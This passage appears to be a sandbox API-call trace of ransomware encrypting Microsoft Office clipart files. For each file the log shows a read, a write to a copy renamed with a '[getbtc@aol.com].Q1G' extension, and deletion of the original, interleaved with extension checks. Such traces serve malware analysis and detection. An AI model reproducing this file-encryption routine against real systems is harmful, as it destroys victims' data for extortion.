lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.669] lstrlenW (lpString=".1cd") returned 4 [0249.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.669] lstrlenW (lpString=".jpg") returned 4 [0249.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.669] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.669] lstrlenW (lpString="FD00369_.WMF") returned 12 [0249.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.670] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=8552) returned 1 [0249.670] CloseHandle (hObject=0x204) returned 1 [0249.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x20 [0249.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.670] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.670] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.671] GetLastError () returned 0x0 [0249.671] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2168, lpOverlapped=0x0) returned 1 [0249.693] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2170, lpOverlapped=0x0) returned 1 [0249.694] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.694] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.694] SetEndOfFile (hFile=0x3b0) returned 1 [0249.694] CloseHandle (hObject=0x3b0) returned 1 [0249.694] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.694] SetEndOfFile (hFile=0x204) returned 1 [0249.696] CloseHandle (hObject=0x204) returned 1 [0249.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0249.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.697] lstrlenW (lpString=".doc") returned 4 [0249.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.697] lstrlenW (lpString=".docx") returned 5 [0249.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.697] lstrlenW (lpString=".pdf") returned 4 [0249.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.697] lstrlenW (lpString=".xls") returned 4 [0249.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.697] lstrlenW (lpString=".xlsx") returned 5 [0249.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.698] lstrlenW (lpString=".ppt") returned 4 [0249.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.698] lstrlenW (lpString=".zip") returned 4 [0249.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.698] lstrlenW (lpString=".rar") returned 4 [0249.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.698] lstrlenW (lpString=".bz2") returned 4 [0249.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.698] lstrlenW (lpString=".7z") returned 3 [0249.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.698] lstrlenW (lpString=".dbf") returned 4 [0249.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.698] lstrlenW (lpString=".1cd") returned 4 [0249.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.698] lstrlenW (lpString=".jpg") returned 4 [0249.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.698] lstrlenW (lpString=".doc") returned 4 [0249.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.698] lstrlenW (lpString=".docx") returned 5 [0249.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.698] lstrlenW (lpString=".pdf") returned 4 [0249.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.698] lstrlenW (lpString=".xls") returned 4 [0249.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.698] lstrlenW (lpString=".xlsx") returned 5 [0249.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.698] lstrlenW (lpString=".ppt") returned 4 [0249.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.699] lstrlenW (lpString=".zip") returned 4 [0249.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.699] lstrlenW (lpString=".rar") returned 4 [0249.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.699] lstrlenW (lpString=".bz2") returned 4 [0249.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.699] lstrlenW (lpString=".7z") returned 3 [0249.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.699] lstrlenW (lpString=".dbf") returned 4 [0249.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.699] lstrlenW (lpString=".1cd") returned 4 [0249.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0249.699] lstrlenW (lpString=".jpg") returned 4 [0249.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.699] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.699] lstrlenW (lpString="FD00403_.WMF") returned 12 [0249.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.700] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=7878) returned 1 [0249.700] CloseHandle (hObject=0x204) returned 1 [0249.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20 [0249.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.700] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.700] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.701] GetLastError () returned 0x0 [0249.701] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1ec6, lpOverlapped=0x0) returned 1 [0249.717] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0249.718] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.719] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.719] SetEndOfFile (hFile=0x3b0) returned 1 [0249.719] CloseHandle (hObject=0x3b0) returned 1 [0249.719] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.719] SetEndOfFile (hFile=0x204) returned 1 [0249.721] CloseHandle (hObject=0x204) returned 1 [0249.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0249.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.724] lstrlenW (lpString=".doc") returned 4 [0249.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.724] lstrlenW (lpString=".docx") returned 5 [0249.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.724] lstrlenW (lpString=".pdf") returned 4 [0249.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.724] lstrlenW (lpString=".xls") returned 4 [0249.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.724] lstrlenW (lpString=".xlsx") returned 5 [0249.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.725] lstrlenW (lpString=".ppt") returned 4 [0249.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.725] lstrlenW (lpString=".zip") returned 4 [0249.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.725] lstrlenW (lpString=".rar") returned 4 [0249.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.725] lstrlenW (lpString=".bz2") returned 4 [0249.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.725] lstrlenW (lpString=".7z") returned 3 [0249.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.725] lstrlenW (lpString=".dbf") returned 4 [0249.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.725] lstrlenW (lpString=".1cd") returned 4 [0249.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.725] lstrlenW (lpString=".jpg") returned 4 [0249.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.725] lstrlenW (lpString=".doc") returned 4 [0249.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.725] lstrlenW (lpString=".docx") returned 5 [0249.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.725] lstrlenW (lpString=".pdf") returned 4 [0249.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.725] lstrlenW (lpString=".xls") returned 4 [0249.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.725] lstrlenW (lpString=".xlsx") returned 5 [0249.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.725] lstrlenW (lpString=".ppt") returned 4 [0249.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.726] lstrlenW (lpString=".zip") returned 4 [0249.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.726] lstrlenW (lpString=".rar") returned 4 [0249.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.726] lstrlenW (lpString=".bz2") returned 4 [0249.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.726] lstrlenW (lpString=".7z") returned 3 [0249.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.726] lstrlenW (lpString=".dbf") returned 4 [0249.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.726] lstrlenW (lpString=".1cd") returned 4 [0249.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0249.726] lstrlenW (lpString=".jpg") returned 4 [0249.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.726] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.726] lstrlenW (lpString="FD00428_.WMF") returned 12 [0249.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.727] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4796) returned 1 [0249.727] CloseHandle (hObject=0x3c4) returned 1 [0249.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20 [0249.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.727] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.727] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.728] GetLastError () returned 0x0 [0249.728] ReadFile (in: hFile=0x3c4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x12bc, lpOverlapped=0x0) returned 1 [0249.800] WriteFile (in: hFile=0x1fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0249.801] ReadFile (in: hFile=0x3c4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.801] WriteFile (in: hFile=0x1fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.801] SetEndOfFile (hFile=0x1fc) returned 1 [0249.801] CloseHandle (hObject=0x1fc) returned 1 [0249.801] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.801] SetEndOfFile (hFile=0x3c4) returned 1 [0249.803] CloseHandle (hObject=0x3c4) returned 1 [0249.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0249.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.852] lstrlenW (lpString=".doc") returned 4 [0249.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.852] lstrlenW (lpString=".docx") returned 5 [0249.852] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.852] lstrlenW (lpString=".pdf") returned 4 [0249.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.852] lstrlenW (lpString=".xls") returned 4 [0249.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.852] lstrlenW (lpString=".xlsx") returned 5 [0249.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.853] lstrlenW (lpString=".ppt") returned 4 [0249.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.853] lstrlenW (lpString=".zip") returned 4 [0249.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.853] lstrlenW (lpString=".rar") returned 4 [0249.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.853] lstrlenW (lpString=".bz2") returned 4 [0249.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.853] lstrlenW (lpString=".7z") returned 3 [0249.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.853] lstrlenW (lpString=".dbf") returned 4 [0249.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.853] lstrlenW (lpString=".1cd") returned 4 [0249.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.853] lstrlenW (lpString=".jpg") returned 4 [0249.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.853] lstrlenW (lpString=".doc") returned 4 [0249.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.853] lstrlenW (lpString=".docx") returned 5 [0249.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.853] lstrlenW (lpString=".pdf") returned 4 [0249.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.853] lstrlenW (lpString=".xls") returned 4 [0249.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.853] lstrlenW (lpString=".xlsx") returned 5 [0249.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.853] lstrlenW (lpString=".ppt") returned 4 [0249.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.854] lstrlenW (lpString=".zip") returned 4 [0249.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.854] lstrlenW (lpString=".rar") returned 4 [0249.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.854] lstrlenW (lpString=".bz2") returned 4 [0249.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.854] lstrlenW (lpString=".7z") returned 3 [0249.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.854] lstrlenW (lpString=".dbf") returned 4 [0249.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.854] lstrlenW (lpString=".1cd") returned 4 [0249.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0249.854] lstrlenW (lpString=".jpg") returned 4 [0249.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.854] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.854] lstrlenW (lpString="FD00544_.WMF") returned 